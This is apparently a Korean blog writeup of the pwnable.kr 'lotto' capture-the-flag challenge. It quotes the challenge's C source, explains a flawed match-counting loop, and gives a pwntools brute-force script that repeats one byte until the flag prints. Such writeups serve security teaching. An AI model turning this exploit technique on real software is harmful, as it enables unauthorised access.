문제
Mommy! I made a lotto program for my homework.
do you want to play?
ssh lotto@pwnable.kr -p2222 (pw:guest)
분석
lotto.c의 전역변수와 play함수, main함수
unsigned char submit[6];
void play(){
int i;
printf("Submit your 6 lotto bytes : ");
fflush(stdout);
int r;
r = read(0, submit, 6);
printf("Lotto Start!\n");
//sleep(1);
// generate lotto numbers
int fd = open("/dev/urandom", O_RDONLY);
if(fd==-1){
printf("error. tell admin\n");
exit(-1);
}
unsigned char lotto[6];
if(read(fd, lotto, 6) != 6){
printf("error2. tell admin\n");
exit(-1);
}
for(i=0; i<6; i++){
lotto[i] = (lotto[i] % 45) + 1; // 1 ~ 45
}
close(fd);
// calculate lotto score
int match = 0, j = 0;
for(i=0; i<6; i++){
for(j=0; j<6; j++){
if(lotto[i] == submit[j]){
match++;
}
}
}
// win!
if(match == 6){
system("/bin/cat flag");
}
else{
printf("bad luck...\n");
}
}
int main(int argc, char* argv[]){
// menu
unsigned int menu;
while(1){
printf("- Select Menu -\n");
printf("1. Play Lotto\n");
printf("2. Help\n");
printf("3. Exit\n");
scanf("%d", &menu);
switch(menu){
case 1:
play();
break;
case 2:
help();
break;
case 3:
printf("bye\n");
return 0;
default:
printf("invalid menu\n");
break;
}
}
return 0;
}
이 코드의 문제점은 정말 한 눈에 들어온다.
바로 이 부분
for(i=0; i<6; i++){
for(j=0; j<6; j++){
if(lotto[i] == submit[j]){
match++;
}
}
}
입력값이 로또번호와 적중했는지를 이런 식으로 확인하면 문제가 된다.
만약 로또번호가 a,b,c,d,e,f 였을 때
submit[0] ~ submit[5] 중 a가 하나만 있으면 match값은 6이 되기 때문.
FL4G
exploit은 무한반복 bruteforcing 방식으로 구성했다.
#!/usr/bin/env python
# pwnable.kr - lotto
from pwn import *
debug = 1
def choose_menu():
s.recvuntil('3. Exit\n')
s.sendline('1')
def exploit():
while True:
choose_menu()
s.recvuntil('Submit your 6 lotto bytes : ')
s.sendline('\x01\x01\x01\x01\x01\x01')
s.recvuntil('Start!\n')
re = s.recvline()
if re != 'bad luck...\n':
print(re)
return
else:
print('bad')
if __name__ == '__main__':
s = process('./lotto')
exploit()
s.interactive()
s.close()
<sol_lotto.py>
'pwnable.kr' 카테고리의 다른 글
[Toddler's Bottle] cmd2 writeup (0) | 2018.09.16 |
---|---|
[Toddler's Bottle] cmd1 writeup (0) | 2018.09.16 |
[Toddler's Bottle] blackjack writeup (0) | 2018.09.16 |
[Toddler's Bottle] coin1 writeup (0) | 2018.09.16 |
[Toddler's Bottle] shellshock writeup (0) | 2018.09.16 |